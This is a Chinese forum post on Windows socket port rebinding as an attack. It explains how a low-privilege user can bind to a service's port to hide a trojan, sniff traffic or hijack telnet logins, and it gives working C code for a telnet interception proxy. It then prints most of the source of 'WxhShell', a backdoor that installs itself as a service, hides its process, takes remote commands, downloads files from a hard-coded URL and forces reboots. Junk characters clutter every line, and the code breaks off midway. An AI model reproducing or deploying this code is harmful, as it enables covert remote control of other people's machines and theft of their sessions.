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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q.uIZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f=g/_R2$xN  
!u>29VN  
  saddr.sin_family = AF_INET; O2ety2}?f  
B.0(}@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kM]?  
1ciP+->$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); IkL|bV3E0  
Y -o*d@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6_`x^[r  
) dwPD  
  这意味着什么?意味着可以进行如下的攻击: 'hf-)\Ylf  
YeYFPi#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HQ ^> ~  
2EycFjO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^xu`NE8;  
u <D&RT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I zM=?,`  
)Xl/|YD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k]ptk^  
.kBi" p&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <P(d%XEl  
|Tf}8e  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `c(,_o a{  
>c5Vz^uM{4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +, p  
r-H~MisL  
  #include  ZRsDn  
  #include 1sGkbfh{t  
  #include ^['%wA%  
  #include    8!4=j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B`iQN7fd  
  int main() c{V0]A9VF  
  { 'nBJ[$2^  
  WORD wVersionRequested; 9IN =m 5  
  DWORD ret; Bwn9ZYu#r  
  WSADATA wsaData; >"5^]o2?~l  
  BOOL val; {KdC5 1"Nv  
  SOCKADDR_IN saddr; hy3[MOD$G  
  SOCKADDR_IN scaddr; M5: f^  
  int err; &gIu<*u<  
  SOCKET s; /^P^K  
  SOCKET sc; nxA]EFS  
  int caddsize; ~pX&>v\T  
  HANDLE mt; #fzvK+  
  DWORD tid;   OzX\ s=  
  wVersionRequested = MAKEWORD( 2, 2 ); cx1U6A+  
  err = WSAStartup( wVersionRequested, &wsaData ); Iwize,J~X  
  if ( err != 0 ) { 43A6B  
  printf("error!WSAStartup failed!\n"); Q`,D#V${D  
  return -1; A\i /@x5#  
  } /49PF:$?  
  saddr.sin_family = AF_INET; jF Bq>  
   @zT.&1;`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1AjsAi,7;2  
jE&kN$.7j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o!aKeM~|Es  
  saddr.sin_port = htons(23); ?0DCjh8We  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9bMM-~  
  { =c(_$|0  
  printf("error!socket failed!\n"); x98LOO  
  return -1; A0V"5syY  
  } B(:Kw;r?  
  val = TRUE; Z, lUO.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p<Ah50!B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f0IljY!.  
  { {l0;G) -  
  printf("error!setsockopt failed!\n");  +h9U V  
  return -1; _>dqz(8#  
  } #h6(DuViKw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &VY;Al  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p87s99  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 95T%n{rz  
_-%ay  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "f!*%SR: 1  
  { Gqk"%irZ  
  ret=GetLastError(); j72cSRv  
  printf("error!bind failed!\n"); KjZ^\lq'  
  return -1; C: kl/9M@  
  } HoH3.AY X  
  listen(s,2); I%e7:cs>  
  while(1) ,\+tvrR4X  
  { }sPY+ZjV  
  caddsize = sizeof(scaddr); E;VBoN [  
  //接受连接请求 **_VNDK+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); iJ?8)}  
  if(sc!=INVALID_SOCKET) r;|Bc$P  
  { J:?t.c~$o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +GP"9S2%R  
  if(mt==NULL) f#eTi&w  
  { iL|*g3`-f  
  printf("Thread Creat Failed!\n"); ^ b-H  
  break; &0(2Z^Z>fw  
  } @]3(l  
  } 6Wc eDY  
  CloseHandle(mt); a(x[+ El  
  } m9#u. Q*  
  closesocket(s); =!#D UfQf  
  WSACleanup(); P%ZWm=lg  
  return 0; )@R:$l86  
  }   OUI}jJw+  
  DWORD WINAPI ClientThread(LPVOID lpParam) Kw!`u^>  
  { ;Ic3th%u  
  SOCKET ss = (SOCKET)lpParam; }[LK/@h  
  SOCKET sc; C>T6{$xkC  
  unsigned char buf[4096]; d57(#)`  
  SOCKADDR_IN saddr; :6HMb^4  
  long num; Y] P}7GZ  
  DWORD val; A: 0] n  
  DWORD ret; 7DOAG[gH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (/k,q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9sYX(Fl  
  saddr.sin_family = AF_INET; B@iIj<p~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f{3FoN= z  
  saddr.sin_port = htons(23); F6%rH$aS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8$G$Rdn  
  { y:2o-SJn  
  printf("error!socket failed!\n"); P92:}" )*>  
  return -1; +S/8{2%?DG  
  } $<ZX};/D  
  val = 100; b]|7{yMV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H.>KYiv+  
  { ][?GJ"O+U  
  ret = GetLastError(); @F3d9t-  
  return -1; E&[ox[g{  
  } {ld([  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GbL,k? ey  
  { pbgCcO~xm  
  ret = GetLastError(); O]~p)E  
  return -1; aX~iY ~?_  
  } el[6E0!@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f3596a  
  { fqF1 - %  
  printf("error!socket connect failed!\n"); \7/xb{z|  
  closesocket(sc); S8]g'!  
  closesocket(ss); Y.}n,y|J}  
  return -1; lq%s/l  
  } (JF\%Yj/  
  while(1) -AffKo  
  { t;4{l`dk  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U#Z}a d?VX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^(6.M\Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sXfx[)T<  
  num = recv(ss,buf,4096,0); @|cas|U.r  
  if(num>0) bF}~9WEa  
  send(sc,buf,num,0); VTV-$Du[}  
  else if(num==0) ].Et&v  
  break; >yL8C: J9  
  num = recv(sc,buf,4096,0); UCq+F96j  
  if(num>0) 9pk<=F  
  send(ss,buf,num,0); a"ht\v}1  
  else if(num==0) V= .'Db2D  
  break; #nu?b?X'  
  } :Tjo+vw7$H  
  closesocket(ss); &PGU%"rN  
  closesocket(sc); D&]SPhX  
  return 0 ; ^c-1w V` /  
  } \6sp"KqP  
,rG$JCS'KQ  
O-mP{  
========================================================== PR.?"$!D{  
rt."P20T  
下边附上一个代码,,WXhSHELL QRa>W/N  
4wK!)Pwq  
========================================================== A3h[VnuG,  
P/0n) Q  
#include "stdafx.h" OHH wcJ7N  
<S5Am%vo  
#include <stdio.h> jMZ{>l.v  
#include <string.h>  4INO .  
#include <windows.h> (uRAK  
#include <winsock2.h> D[9eu>"'9M  
#include <winsvc.h> 5]gd,&^?>  
#include <urlmon.h> hPH= .rX  
` 8.d  
#pragma comment (lib, "Ws2_32.lib") Oi=kL{DG:s  
#pragma comment (lib, "urlmon.lib") /Wk\ 6  
M"5,8Q`PkI  
#define MAX_USER   100 // 最大客户端连接数 Rl-Sr  
#define BUF_SOCK   200 // sock buffer RV7l=G9tq  
#define KEY_BUFF   255 // 输入 buffer `&j5/[>v  
@e+QGd;}  
#define REBOOT     0   // 重启 vB KBMnSd  
#define SHUTDOWN   1   // 关机 vMDV%E S1t  
2et7Vw  
#define DEF_PORT   5000 // 监听端口 BPe5c :z  
G' Jsk4:c  
#define REG_LEN     16   // 注册表键长度 r#3(;N{=  
#define SVC_LEN     80   // NT服务名长度 ^q7 fN0"6  
~[isR|>  
// 从dll定义API X.bNU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WFULQQ*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9SXFiZA(r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]xfu @''  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +P81&CaY  
-6(C ^X%  
// wxhshell配置信息 E9YR *P4$  
struct WSCFG { "i(k8+i K  
  int ws_port;         // 监听端口 j"9bt GX  
  char ws_passstr[REG_LEN]; // 口令 L "P$LEk  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7q^o sOj"  
  char ws_regname[REG_LEN]; // 注册表键名 .B+R+2uY3  
  char ws_svcname[REG_LEN]; // 服务名 k$j>_U? P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HSE9-c =  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &2d^=fih  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]ECzb/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -O:+?gG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mADq_` j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hjtkq .@  
L#1Y R}m  
}; Lo5itW  
D .oX>L#:  
// default Wxhshell configuration yF8 av=<{  
struct WSCFG wscfg={DEF_PORT, !ZJ" lm  
    "xuhuanlingzhe", w$MFCJ:p&  
    1, D pI)qg#>V  
    "Wxhshell", uQ=p } w  
    "Wxhshell", 7F!_gj p  
            "WxhShell Service", FctqE/>}I  
    "Wrsky Windows CmdShell Service", y0k*iS e  
    "Please Input Your Password: ", i<@6f'Kir  
  1, f 0A0uU8y  
  "http://www.wrsky.com/wxhshell.exe", D6=Z%h\*  
  "Wxhshell.exe" mtSOygd  
    }; B2w\  
aVNBF`  
// 消息定义模块 >RZ]t[)y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?mU 3foa  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rJ|Q%utYz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; osPJ%I`^  
char *msg_ws_ext="\n\rExit."; r~&"D#)sy  
char *msg_ws_end="\n\rQuit."; ? FGzw  
char *msg_ws_boot="\n\rReboot..."; 0*^ J;QGE  
char *msg_ws_poff="\n\rShutdown..."; ?f<JwF<  
char *msg_ws_down="\n\rSave to "; V3DXoRE-8i  
/`McKYIP  
char *msg_ws_err="\n\rErr!"; :iqFC >D  
char *msg_ws_ok="\n\rOK!"; U ]jHe  
(hWr!(>C4]  
char ExeFile[MAX_PATH]; J6J[\  
int nUser = 0; sLrSi  
HANDLE handles[MAX_USER]; =oQw?,eY  
int OsIsNt; (7/fsfsF  
VrLU07"0n  
SERVICE_STATUS       serviceStatus; wTb7 xBI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {5w'.Z]0v  
U+:oy:mz  
// 函数声明 +EK(r@eV  
int Install(void); Fb#.Gg9b>  
int Uninstall(void); _yk} [x0>  
int DownloadFile(char *sURL, SOCKET wsh); y"q7Gx*^j  
int Boot(int flag); XN65bq  
void HideProc(void); {,EOSta  
int GetOsVer(void); l}odW  
int Wxhshell(SOCKET wsl); J%}9"Q5  
void TalkWithClient(void *cs); yZk HBG4  
int CmdShell(SOCKET sock); _%^t[4)q  
int StartFromService(void); 2c:H0O 0o  
int StartWxhshell(LPSTR lpCmdLine); 5dOA^P@`,M  
O0OBkIj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4bXAA9"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *I,3,zO  
E/ %S0  
// 数据结构和表定义 FD>j\  
SERVICE_TABLE_ENTRY DispatchTable[] = M7z>ugk"  
{ wXw pKm  
{wscfg.ws_svcname, NTServiceMain}, \bAsn89O  
{NULL, NULL} k<W n  
}; clfi)-^ {K  
St/<\Y,wr  
// 自我安装 b(&~f@% |  
int Install(void) @?ntMh6  
{ [P#^nyOh(  
  char svExeFile[MAX_PATH]; jRIjFn|~{Y  
  HKEY key; T{=.mW^ x  
  strcpy(svExeFile,ExeFile); ;-84cpfu  
%4QCUc*lr  
// 如果是win9x系统,修改注册表设为自启动 G"!YV#"~  
if(!OsIsNt) { 9D74/3b*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -f?Rr:#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [{3WHS.  
  RegCloseKey(key); +js3o@Ku{\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { INwc@XB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +kCVi  
  RegCloseKey(key); g*8LdH 6mq  
  return 0; 6GzmzhX4  
    } 4/D ~H+k  
  } pNpj, H*4  
} Mi'Q5m  
else {  I 0ycLx  
t!^FWr&  
// 如果是NT以上系统,安装为系统服务 \phG$4(7+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y{y #us1  
if (schSCManager!=0) .K^'Q|?  
{ R`=IYnoOA  
  SC_HANDLE schService = CreateService SxXh N  
  ( j9C=m"O  
  schSCManager, g#FqjE|mx  
  wscfg.ws_svcname, G-oC A1UdN  
  wscfg.ws_svcdisp, }]sI?&xB  
  SERVICE_ALL_ACCESS, Y.rHl4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0 O4'Ts ?  
  SERVICE_AUTO_START, QQ@, v@j5  
  SERVICE_ERROR_NORMAL, ia|^>V>-  
  svExeFile, AF D/ J  
  NULL, SqY;2:  
  NULL, wbI(o4rXE  
  NULL, l1`Zp9I  
  NULL, q p|T,D%  
  NULL rPK?p J  
  ); o)n8,k&nm  
  if (schService!=0) GSV,  
  { Fy-nV% P  
  CloseServiceHandle(schService); 93fKv  
  CloseServiceHandle(schSCManager); _5M!ec  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,IuO;UV#)  
  strcat(svExeFile,wscfg.ws_svcname); IgEg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R#tz"T@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hX)r%v:  
  RegCloseKey(key); U._ U!U  
  return 0; 4q@o4C<0  
    } Fhn883  
  } v)N6ZOj*C  
  CloseServiceHandle(schSCManager); [k-7Kq  
} SrK;b .  
} 3D\.S j%  
ml=1R >#'  
return 1; (#c5Q&  
} G+[>or}  
sLbz@54  
// 自我卸载 !dhZs?/UI  
int Uninstall(void) ScGmft3A  
{ :;0?;dpO  
  HKEY key; cdU2ph_  
3}g?d/^E3  
if(!OsIsNt) { b,T=0W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1b3Lan_2  
  RegDeleteValue(key,wscfg.ws_regname); >;xEzc!W3*  
  RegCloseKey(key); ]CC~Eo-%-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BqZLqGO Ku  
  RegDeleteValue(key,wscfg.ws_regname); Qg 6m  
  RegCloseKey(key); 0 SKt8pL`  
  return 0; DA@ { d-A  
  } L$jyeFB5  
} 6\0GVM\  
} ?U-p jjM  
else { pNiqb+^nz  
ixKQh};5/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ui 2RTAb  
if (schSCManager!=0) KMbBow3o*~  
{ -IX;r1UD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vN4X%^:(  
  if (schService!=0) 9(X *[X#  
  { R:ar85F  
  if(DeleteService(schService)!=0) { ?q,x?`|(8  
  CloseServiceHandle(schService); > %Y#(_~a  
  CloseServiceHandle(schSCManager); D3^v[>E2  
  return 0; 5<a<!]|C  
  } _v $mGZpGY  
  CloseServiceHandle(schService); ;N1FP*  
  } KPO((G0&  
  CloseServiceHandle(schSCManager); R6:N`S]&d[  
} >XZq=q]E!  
} /:USpuu  
d,0pNav)  
return 1; >=Rb:#UM  
} 7olA@;$  
;zJ_apZ:{  
// 从指定url下载文件 rvfl~<G*  
int DownloadFile(char *sURL, SOCKET wsh) *l9Y]hinq  
{ bFJn-g n  
  HRESULT hr; ~ ZDdzp>  
char seps[]= "/"; .ZJh-cd  
char *token; #M>E{w9  
char *file; x p$0J<2  
char myURL[MAX_PATH]; Uis P 8/k  
char myFILE[MAX_PATH]; z"H%Y 8  
%FRkvqV*  
strcpy(myURL,sURL); ?nn,RBS-  
  token=strtok(myURL,seps); 9"aTF,'F/  
  while(token!=NULL) #nxx\,i>  
  { FG(`&S+,  
    file=token; ynd}w G'  
  token=strtok(NULL,seps); g bh:Y}_FU  
  } *Xo f;)Z^  
8]L.E  
GetCurrentDirectory(MAX_PATH,myFILE); Nl8Cctrf  
strcat(myFILE, "\\"); >*(>%E~H  
strcat(myFILE, file); %2+]3h>g  
  send(wsh,myFILE,strlen(myFILE),0); I"!{HnSG`  
send(wsh,"...",3,0); f_\-y&)+*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CNz[@6-cYU  
  if(hr==S_OK) -,tYfQ;:  
return 0; kr/h^e  
else 5C&f-* Bh  
return 1; 2=|IOkY  
.G]# _U  
} &Y>u2OZ  
+u2Co_FJ&  
// 系统电源模块 -a[{cu{  
int Boot(int flag) oGqv,[$qN  
{ /%c^ i!=f"  
  HANDLE hToken; qw/{o:ce]  
  TOKEN_PRIVILEGES tkp; q  ha1b$  
^m=%Ctu#  
  if(OsIsNt) { 6. jZy~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yM2&cMHH~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &1{k^>oz  
    tkp.PrivilegeCount = 1; QhUr aZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y P c<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X A|`wAGP  
if(flag==REBOOT) { s*f.` A*)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QFPx4F7(e  
  return 0; #77UKYj2L-  
} *PEuaRDN  
else { m{ fQL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .7FI%  
  return 0; hl:eF:'hm  
} A& F4;>dms  
  } DO1{r/Ib.{  
  else { }hYE6~pr  
if(flag==REBOOT) { ^Q>*f/.KN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l,FoK76G  
  return 0; to 6Q90(  
} ~S6{VK.  
else { >G2-kL_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %#9~V  
  return 0; <h=M Rw,l  
} \<B6>  
} [r8 d+  
VWy:U#;+8  
return 1; ]F;]<_  
} "S`wwl  
_KVB~loT  
// win9x进程隐藏模块 ]4mj 1g&C  
void HideProc(void) z|*6fFE   
{ (H+[^(3d2  
v6?\65w,|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [!? ,TGM}^  
  if ( hKernel != NULL ) ]a#]3(o]}  
  { \)ZX4rs{8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -Y?(Zz_w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #.+*G`m  
    FreeLibrary(hKernel); YwWTv  
  } ' ,`4 U F  
NoZ4['NI\  
return; f^sb0nU  
} }|"*"kxi!  
b[o"Uq@8?  
// 获取操作系统版本 W?J*9XQ`  
int GetOsVer(void) `Mn{bd  
{ zRoEx1  
  OSVERSIONINFO winfo; Z?v6pjZ?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LY!3u0PnlT  
  GetVersionEx(&winfo); 7WfirRM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *Gh8nQbh  
  return 1; -_*XhD  
  else S%s|P=u  
  return 0; G%8)6m'3  
} wQrPS  
}:l%,DBw  
// 客户端句柄模块 VfC[U)w*vm  
int Wxhshell(SOCKET wsl) 4f[M$xU&h  
{ xiOrk  
  SOCKET wsh; _E<O+leWf  
  struct sockaddr_in client; GlgORy=>  
  DWORD myID; &T/q0bwd  
^@LhUs>3  
  while(nUser<MAX_USER) fRa-bqQ  
{ grfdvN  
  int nSize=sizeof(client); C`~4q<W'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;/^]|  
  if(wsh==INVALID_SOCKET) return 1; qTa]th;  
OG?j6q hpl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K-Dk2(x  
if(handles[nUser]==0) U>B5LU9&  
  closesocket(wsh); &0 )xvZ  
else G5nj,$F+  
  nUser++; voej ~z+  
  } b^l -*4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vD)A)  
L3=YlX`UL  
  return 0; e<O;pM:  
} o|^?IQ7bpf  
ug6f   
// 关闭 socket <E7Vbb9*  
void CloseIt(SOCKET wsh) q{De&Bu  
{ M\?uDC9  
closesocket(wsh); Ubw!/|mi  
nUser--; o~.o^0Y  
ExitThread(0); s?G'l=CcKu  
} 4z0R\tjT  
ox\B3U%`p}  
// 客户端请求句柄 C@UJOB  
void TalkWithClient(void *cs) )*TW\v`B  
{ il>x!)?o  
6Er0o{iI  
  SOCKET wsh=(SOCKET)cs; THbtu*El  
  char pwd[SVC_LEN]; {Z?$Co^R  
  char cmd[KEY_BUFF]; ll<9f)  
char chr[1]; 8W1K3[Jj<  
int i,j; hV>4D&<  
~g K-5}%!  
  while (nUser < MAX_USER) { =~W0~lxX  
An8%7xa7  
if(wscfg.ws_passstr) { 0,~6TV<K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n$OE~YwP{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %g]$Vfpy  
  //ZeroMemory(pwd,KEY_BUFF); m>abK@5na  
      i=0; =mi:<q  
  while(i<SVC_LEN) { fZw9zqg  
,>QMyI hv  
  // 设置超时 iBtjd`V*  
  fd_set FdRead; !HdvCYB>  
  struct timeval TimeOut; 22al  
  FD_ZERO(&FdRead); Mg a@JA"  
  FD_SET(wsh,&FdRead); C`yvBt40r  
  TimeOut.tv_sec=8; u^aFj%}]L  
  TimeOut.tv_usec=0; x:A-p..e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~<2 IIR$H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zldfRo\wl  
7|+|\ 7l#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *%OYAsc  
  pwd=chr[0]; '#,e @v  
  if(chr[0]==0xd || chr[0]==0xa) { 5q(]1|Se i  
  pwd=0; |b$>68:  
  break; u{OS6Ky  
  } V9fGVDl;  
  i++; ~|y^\U@  
    } PJxak3  
yyY~ *Le  
  // 如果是非法用户,关闭 socket QQg8+{>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e-CNQnO~  
} Snc; p  
}J ei$0x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 74@lo-/LY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :]CzN^k(1c  
"3{#d9Gs  
while(1) { HE#,(;1i  
u*t,i`  
  ZeroMemory(cmd,KEY_BUFF); =jg#fdM -  
X,C*qw@  
      // 自动支持客户端 telnet标准   ?muDTD%c  
  j=0; b]!9eV$  
  while(j<KEY_BUFF) { KQG-2oW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H~A"C'P3#  
  cmd[j]=chr[0]; A}t%;V2  
  if(chr[0]==0xa || chr[0]==0xd) { X+=-f^)&  
  cmd[j]=0; >5)<Uv$  
  break; Bk?8 zYp  
  } v,/[&ASz  
  j++; ,Bisu:v6FW  
    }  !M  
'3A+"k-}mh  
  // 下载文件 WtEI] WO  
  if(strstr(cmd,"http://")) { y }\r#"Z`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Og,Y)a;=  
  if(DownloadFile(cmd,wsh)) ze`1fO|%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \|CPR6I  
  else 9<yAQ?7 L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *)u?~r(F  
  } Vclr)}5  
  else { \gLxC  
|xn#\epy@  
    switch(cmd[0]) { \tY"BC4.  
  {fZb@7?GF  
  // 帮助 kw*)/$5]  
  case '?': { 5sCFzo<=vh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PgMbMH  
    break; \V,c]I   
  } j&5G\6:  
  // 安装 <3A0={En  
  case 'i': { -"=)z /S  
    if(Install()) dL-i)F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !xu9+{-  
    else %SAw;ZtQ:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F/>*If s  
    break; iv*V#J>  
    } &)n_]R#)  
  // 卸载 v5_7r%Hiw  
  case 'r': { En(7(qP6}  
    if(Uninstall()) H3 , ut  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l4rMk^>>  
    else [#Y' dFQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~:4~2d|  
    break; gY(1,+0-  
    } Q $~n/  
  // 显示 wxhshell 所在路径 d|XmasGN  
  case 'p': { `9Yn0B.  
    char svExeFile[MAX_PATH]; UZGDdP  
    strcpy(svExeFile,"\n\r");  W^Y#pn  
      strcat(svExeFile,ExeFile); 2?W7I/F  
        send(wsh,svExeFile,strlen(svExeFile),0); X8i(~ B  
    break; EF#QH _X  
    } :]PM_V|  
  // 重启 T-gk<V  
  case 'b': { Ts9ktPlm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tu0aD%C  
    if(Boot(REBOOT)) im]g(#GnKh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >xqM5#m`E$  
    else { S|em[D[Y^  
    closesocket(wsh); n((vY.NDV  
    ExitThread(0); 5|I55CTx  
    } maNW{"1  
    break; 4nqoZk^R  
    } +/rH(Ni  
  // 关机 x[(?#  
  case 'd': { \K iwUz  
